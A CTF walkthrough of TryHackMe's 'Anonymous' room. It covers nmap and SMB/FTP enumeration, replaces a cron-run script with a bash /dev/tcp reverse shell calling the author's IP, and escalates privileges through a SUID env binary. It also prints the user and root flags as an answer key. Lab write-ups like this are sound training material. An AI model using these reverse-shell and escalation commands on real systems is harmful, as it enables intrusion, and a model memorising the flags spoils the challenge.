

## CTF Write-Up: Rooting a Beginner-Friendly Machine

The following writeup is for the Anonymous CTF hosted on TryHackMe, it is a free room and is for beginners to intermediate. The objective of this CTF is to exploit the machine to discover two flags contained in user and root.txt. Acquiring both flags requires some knowledge of basic pentesting (such as smb enumeration, network scanning, privilege escalation, and more) and Linux syntax.

### Step-by-Step Walkthrough

#### 1. Enumeration:

First, I conducted an aggressive Nmap scan to identify open ports, service versions, and any common vulnerabilities or weaknesses for which the default scrip scan identifies. Although aggressive scans aren't advisable in real-world scenario due to the amount of noise it generates, they are useful in CTFs for thorough enumeration. Here is the Nmap command that was used:

```
(kali@kali)-[~/Documents/anonymous_thm]
$ sudo nmap -A -p- 10.10.50.223 -oN anonymous_nmap.txt
```

#### Scan results:

- Ports: 21 (FTP), 22 (SSH), 139, and 445 (SMB)
- FTP service with anonymous login enabled

#### 2. Service Enumeration

To identify shares on the machine, I used enum4linux which comes preinstalled on Kali Linux:

```
(kali@kali)-[~/Documents/anonymous_thm]
$ enum4linux 10.10.50.223
```

The section we are concerned with can be seen in the image below:

```
===== ( Share Enumeration on 10.10.50.223 ) =====

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  pics           Disk      My SMB Share Directory for Pics
  IPC$           IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

  Server          Comment
  -----
  Workgroup        Master
  WORKGROUP        ANONYMOUS

[+] Attempting to map shares on 10.10.50.223
//10.10.50.223/print$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.50.223/pics Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.10.50.223/IPC$ Mapping: N/A Listing: N/A Writing: N/A
```

### 3. Accessing SMB Share:

Using smbclient, I accessed the pics share:

```
(kali㉿kali)-[~/Documents/anonymous_thm]
$ smbclient //10.10.50.223/pics
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \>
```

Once inside, I listed the contents and downloaded the images for further inspection. Tools like ImageMagick and strings didn't reveal anything, So I used aperiolve to check for hidden data, but found nothing. My logic behind this is that CTF's often include steganography, which is where data is hidden within images (such as in the Exif data, etc).

```
smb: \> ls
.                D            0   Sun May 17 07:11:34 2020
..               D            0   Wed May 13 21:59:10 2020
corgo2.jpg       N       42663   Mon May 11 20:43:42 2020
puppos.jpeg     N      265188   Mon May 11 20:43:42 2020

smb: \> get corgo2.jpg
getting file \corgo2.jpg of size 42663 as corgo2.jpg (24.2 KiloBytes/sec) (average 24.2 KiloBytes/sec)
smb: \> get puppos.jpeg
getting file \puppos.jpeg of size 265188 as puppos.jpeg (109.9 KiloBytes/sec) (average 73.7 KiloBytes/sec)
smb: \>
```

```
(kali㉿kali)-[~/Documents/anonymous_thm]
$ strings corgo2.jpg
```

```
(kali㉿kali)-[~/Documents/anonymous_thm]
$ strings puppos.jpeg
```

The strings command found nothing, so I used aperiolve which also didn't find anything.

### 4. Exploring FTP

Next, I explored the FTP share on port 21 that we discovered to have anonymous login enabled during the network scan:

```
(kali㉿kali)-[~/Documents/anonymous_thm]
$ ftp 10.10.50.223
Connected to 10.10.50.223.
220 NamelessOne's FTP Server!
Name (10.10.50.223:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Inside the FTP share, I navigated to the 'scripts' directory and downloaded its contents:

```
ftp> ls -la
229 Entering Extended Passive Mode (|||15665|)
150 Here comes the directory listing.
drwxr-xr-x   3 65534   65534           4096 May 13  2020 .
drwxr-xr-x   3 65534   65534           4096 May 13  2020 ..
drwxrwxrwx   2 111     113           4096 Jun 04  2020 scripts
226 Directory send OK.
```

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||45853|)
150 Here comes the directory listing.
drwxrwxrwx   2 111     113           4096 Jun 04  2020 .
drwxr-xr-x   3 65534   65534           4096 May 13  2020 ..
-rwxr-xrwx   1 1000     1000           314 Jun 04  2020 clean.sh
-rw-rw-r--   1 1000     1000          2365 Jun 01 12:59 removed_files.log
-rw-r--r--   1 1000     1000            68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>
```

These files appear to be interesting, so we can download them using the get command:

```
ftp> get clean.sh
```

```
ftp> get removed_files.log
```

```
ftp> get to_do.txt
```

## 5. Analysing the downloaded files

- o 'clean.sh' was a script for wiping the '/tmp' directory.

```
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
```

- o 'removed\_files.log' recorded logs for the script.

```
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
```

Suspecting a cron job for 'clean.sh', I decided to replace it with a reverse shell script to gain a shell on the machine. You can do this by entering:

- echo "bash -i >& /dev/tcp/[your IP]/4444 0>&1" > clean.sh

But I created a reverse shell file locally using gedit and then used the put command to replace the original clean.sh script with my reverse shell:

```

Open  clean.sh
~/Documents/anonymous_thm
1 #!/bin/bash
2
3 bash -i >& /dev/tcp/10.4.85.213/4444 0>&1
4

```

```
ftp> put clean.sh clean.sh
```

Now whenever the cron job runs, it will execute the script, giving us a reverse shell.

## 6. Gaining a Reverse Shell:

After setting up a netcat listener on port 4444:

```

(kali@kali)-[~/Documents/anonymous_thm]
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.4.85.213] from (UNKNOWN) [10.10.50.223] 52528
bash: cannot set terminal process group (1725): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$

```

The cron job executed the modified 'clean.sh' script, which gave us a reverse shell. With this shell, I then accessed the 'user.txt' file which contains a flag:

```

namelessone@anonymous:~$ ls -la
ls -la
total 60
drwxr-xr-x 6 namelessone namelessone 4096 May 14 2020 .
drwxr-xr-x 3 root         root         4096 May 11 2020 ..
lrwxrwxrwx 1 root         root           9 May 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 namelessone namelessone  220 Apr  4 2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr  4 2018 .bashrc
drwx----- 2 namelessone namelessone 4096 May 11 2020 .cache
drwx----- 3 namelessone namelessone 4096 May 11 2020 .gnupg
-rw----- 1 namelessone namelessone   36 May 12 2020 .lesshtst
drwxrwxr-x 3 namelessone namelessone 4096 May 12 2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone  807 Apr  4 2018 .profile
-rw-rw-r-- 1 namelessone namelessone   66 May 12 2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone    0 May 12 2020 .sudo_as_admin_successful
-rw-r--r-- 1 namelessone namelessone   33 May 11 2020 user.txt
-rw----- 1 namelessone namelessone 7994 May 12 2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone  215 May 13 2020 .wget-hsts
namelessone@anonymous:~$

```

```

namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585815ff991e68748c414740
namelessone@anonymous:~$

```

## 7. Privilege Escalation:

To escalate privileges to root, I searched for binaries with the SUID bit set. For context, when a SETUID (Set User ID) bit is set on a binary, it means that the binary will run with the permissions of the file owner, rather than the permissions of the user who is executing the binary. If a SUID binary is owned by root, it can perform actions that require root privileges which is why we can exploit it to gain a root shell:

```
namelessone@anonymous:~$ find / -perm -4000 2>/dev/null
```

One of the results using this search is:

```
/usr/bin/env
```

Using GTF0Bins, I found an exploit for this binary to escalate to root.

 **/env**  Star 10,243

Shell SUID Sudo

### Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
env /bin/sh
```

### SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .  
./env /bin/sh -p
```

### Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

```
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p  
/usr/bin/env /bin/sh -p  
whoami  
root  
█
```

You can see that this has escalated our privileges to root. We can now navigate to the root directory and print the contents of the root.txt file which is the final question for the challenge:

```
cd root
ls -la
total 60
drwx----- 6 root root 4096 May 17 2020 .
drwxr-xr-x 24 root root 4096 May 12 2020 ..
lrwxrwxrwx 1 root root 9 May 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx----- 2 root root 4096 May 11 2020 .cache
drwx----- 3 root root 4096 May 11 2020 .gnupg
drwxr-xr-x 3 root root 4096 May 11 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 33 May 11 2020 root.txt
-rw-r--r-- 1 root root 66 May 11 2020 .selected_editor
drwx----- 2 root root 4096 May 11 2020 .ssh
-rw----- 1 root root 13795 May 17 2020 .viminfo
-rw----- 1 root root 55 May 14 2020 .Xauthority
```

```
cat root.txt
4d930091c31a622a7ed10f27999af363
```

### Questions Answered:

1. How many ports are open?
  - 4 (ftp, ssh, smb (139 and 445))
2. What service is running on port 21?
  - FTP
3. What service is running on port 139 and 445?
  - SMB
4. There's a share on the user's computer. What's it called?
  - pics
5. user.txt
  - 90d6f992585815ff991e68748c414740
6. root.txt
  - 4d930091c31a622a7ed10f27999af363

This CTF was a great exercise to test my basic penetration testing skills. I hope this write-up proves useful for those looking to understand the process. Happy hacking!